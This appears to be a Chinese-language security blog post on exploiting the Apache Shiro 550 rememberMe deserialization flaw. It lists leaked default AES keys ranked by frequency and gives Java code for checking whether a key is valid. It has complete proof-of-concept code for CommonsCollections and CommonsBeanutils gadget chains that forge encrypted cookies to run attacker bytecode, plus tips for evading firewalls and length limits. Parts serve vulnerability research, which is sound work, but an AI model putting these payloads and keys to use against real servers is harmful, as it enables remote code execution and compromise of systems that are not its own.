原理
Shiro 反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。
推荐使用 CommonsBeanutils 链。 Commons Beanutils 默认添加了,因此可以用这条链打 shiro
影响版本 Shiro <= 1.2.4
解决 payload 过长的方式:
- 使用 urlclassloader 加载远程字节码
- 将字节码放在 post 的 body 中,恶意类实现加载 body 中的字节码即可.
轻爆破 Key
Shiro 550 的 AES Key 大多数就几种
http://www.yulegeyu.com/2019/04/01/Generate-all-unserialize-payload-via-serialVersionUID/
4AvVhmFLUs0KTA3Kprsdag== : 190
3AvVhmFLUs0KTA3Kprsdag== : 157
Z3VucwAAAAAAAAAAAAAAAA== : 135
2AvVhdsgUs0FSA3SDFAdag== : 114
wGiHplamyXlVB11UXWol8g== : 35
kPH+bIxk5D2deZiIxcaaaA== : 27
fCq+/xW488hMTCD+cmJ3aQ== : 9
1QWLxg+NYmxraMoxAXu/Iw== : 9
ZUdsaGJuSmxibVI2ZHc9PQ== : 8
L7RioUULEFhRyxM7a2R/Yg== : 5
6ZmI6I2j5Y+R5aSn5ZOlAA== : 5
r0e3c16IdVkouZgk1TKVMg== : 4
ZWvohmPdUsAWT3=KpPqda : 4
5aaC5qKm5oqA5pyvAAAAAA== : 4
bWluZS1hc3NldC1rZXk6QQ== : 3
a2VlcE9uR29pbmdBbmRGaQ== : 3
WcfHGU25gNnTxTlmJMeSpw== : 3
LEGEND-CAMPUS-CIPHERKEY== : 3
3AvVhmFLUs0KTA3Kprsdag == : 3
那么如何确认我们生成的 Payload 的 Key 是否正确呢?
我们可以发送一个序列化的 SimplePrincipalCollection 类对象来判断,如果 Key 正确。则返回包中不会有 rememberMe=deleteMe。经过测试实际上不一定是这样如:
当密钥正确的时候,仍然会出现 rememberMe=deleteMe 。
当密钥不正确的时候,会多出现一行 rememberMe=deleteMe
但是这样也能够做出区别 Key 是否正确
原理:如果密钥正确且成功反序列化返回的是 PrincipalCollection 对象,不触发异常,从而不会返回 deleteMe 的包。而 SimplePrincipalCollection 便实现了 PrincipalCollection 的接口。
public static void main(String[] args) throws Exception {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(simplePrincipalCollection);
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
AesCipherService aes = new AesCipherService();
// shiro 硬编码的 key
String shiroAESKey = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] key = java.util.Base64.getDecoder().decode(shiroAESKey);
ByteSource cipheretext = aes.encrypt(bytes, key);
// 填入 rememberME
System.out.println(cipheretext);
}
CC 3.2.1
对于依赖 CC-3.2.1 坑点还是挺多的。
我们都知道 Shiro 550 的反序列化漏洞处理的反序列化器是 DefaultSerializer 类,这个类实现了 Serializer 接口,里面只存在两个方法,一个是序列化方法,另外一个是反序列化方法
Shiro 550 的反序列化
用 CC5 或者 CC6 打:
Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
原因在于 Shiro550 的 ClassUtils 类中调用的 getClassLoader 方法来获取类加载器是调用的
[Lorg.apache.commons.collections.Transformer;
网上分析很多都在说 Shiro 的 DefaultSerializer 类不能反序列化带有数组的内容,而通过改造 CC3 链 让它没有 Transform[] 的存在。其实这个说法是不对的,跟踪了源代码发现其实你改造的所谓的 CCK 链也存在字节数组,但是仍然可以序列化。得出带有数组不能反序列化的结论纯粹是他们发现报错的信息报了这么一行
其实是反序列化抛出异常的时候就会触发这个异常处理机制(即使用 CCK 链成功触发弹出计算器也会有这一行的错误回显,这是因为 CCK 链用到 BadAttributeValueExpException 类,本身触发反序列化都会抛出异常,而这个抛出异常就被 DefaultSerializer 类给捕获从而打印)。
那么究竟为什么 CCK 链可以打,CC5、CC6 链不可以打呢?根据我追源码的发现,真正的原因是
Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
为什么在反序列化 Transform[] 的时候找不到这个类?为什么有能够在 CCK 链找到字节数组的类?我们可以追源码发现, ClassUtil 类加载器是通过获取当前线程得到的。而实际上是通过 ParallerlWebappClassLoader (tomcat 的上下文获取)和 URLClassLoader 加载(当没有运行 tomcat 的时候则只有 URLClassLoader )
当传入的是 Byte 数组的时候,由于在 ParallelWebappClassLoader 在缓存中并没有找到类加载器。最终会调用到 URLClassLoader 类下的 findClass(“[Ljava.lang.Byte;”) 。当不存在 tomcat 环境的时候仅仅只是在 jdk/jre/lib 包下寻找。
但是 path 会被修改为 [Ljava/lang/Byte;.class 而在目录下是不可能寻找到这个类的。
但是呢当存在 Tomcat 的时候就会进入到 WebappClassLoaderBase 类中
就能找到类加载器并加载
我也没弄懂为什么会这样。可能 Tomcat 的工具类中包含原生 Java 类数组吧。
https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#4-%E5%AE%9E%E6%88%98—commonscollectionsk1 里面说如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 没验证原因,但猜测应该是这样。
到这时候才明白为什么大佬说的这句话了 buggy 实现
https://blog.zsxsoft.com/post/35
因此我们构造的链只需要没有其他的数组即可反序列化成功
完整 POC
调用栈
...
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
EvilClass.newInstance()
....
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Poc implements Serializable {
public static void main(String[] args) throws Exception {
AesCipherService aes = new AesCipherService();
byte[] payload = getPayload();
// shiro 硬编码的 key
String shiroAESKey = "kPH+bIxk5D2deZiIxcaaaA==";
byte[] key = java.util.Base64.getDecoder().decode(shiroAESKey);
ByteSource cipheretext = aes.encrypt(payload, key);
// 填入 rememberME
System.out.println(cipheretext);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getPayload() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java运行文件\\Javasecurity_2\\cc\\target\\classes\\org\\example\\poc\\Calc.class"));
setFieldValue(templates, "_name", "TemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
//invokerTransformer.transform(templates);
// 接下来只需要调用 invokerTransformer 的 transform 方法即可
HashMap innerMap = new HashMap();
//innerMap.put("value","asdf");
Map lazyMap = LazyMap.decorate(innerMap, invokerTransformer);
//lazyMap.get(templates);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
// 通过反射给 badAttributeValueExpException 的 val 属性赋值
// tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//FileOutputStream fileOutputStream = new FileOutputStream("./exp.ser");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
CB 链
前面我们提到的 CC 3.2.1 利用链是基于 CommonCollections 自身的依赖,而 shiro 服务并不一定需要引入该依赖。因此我们需要找到一种基于 Shiro 自身存在的利用链
我们知道触发 Template 加载字节码的关键是调用 newTransformer 方法,而该类中还存在 getOutputProperties 方法间接调用 newTransformer 方法
类似于 CC2 和 CC4 的思路,我们可以看看 Shiro 有没有类似的 Comparator 对象,能够在 compare 的时候触发?
而 BeanComparator 类在 org.apache.commons.beanutils 是 Shiro 自带的。注意到它的 Compare 方法,如果 property 属性不存在,那么就会直接比较两个对象,而如果存在,那么会调用 PropertyUtils 这个工具类的 getProperty 方法。
我们看看 PropertyUtils 类的 getProperty 方法到底在干嘛
没看出来往下追追到了 PropertyUtilsBean 类的 getProperty
大概意思就是通过传入的 name 然后尝试调用 传入的对象的 getName 方法获取属性并返回,进行比较。也就是说,这个 BeanComparator 可以调用任意类的 getXXXX 方法。
我们只需给 BeanComparator 的 property 属性设置为 outputProperties 然后在让其在反序列化的时候触发 compare 方法即可。后面半截跟 CC2 一样,不再赘述
POC:
调用栈
...
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
BeanComparator.compare()
...
PropertyUtilsBean.getProperty
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
...
EvilClass.newInstance
...
public static byte[] getPayloadCB() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java运行文件\\Javasecurity_2\\cc\\target\\classes\\org\\example\\poc\\Calc.class"));
setFieldValue(templates, "_name", "TemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
byte[] bytes = barr.toByteArray();
oos.close();
return bytes;
}
参考:
https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#6-cb1-%E5%9C%A8-shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8
其他
有的时候反序列化的 Payload 在 Cookie 上面过长超过了 8192 或者有防火墙就会报错失败。这是可以考虑的绕过方法有:
- 构造反序列化链,使其接收 POST 的 Payload
- 利用一些手段减少长度。比如反序列化字节中有很多是空的 00 串,可以去掉
- 使用 ClassLoader 远程加载恶意类。
- HTTP 请求替换/置空
- Shiro 数据包添加脏数据,点号、反引号、空字符等特殊字符会被替换为空
- HOST 头域名改为 ip 地址
- 等等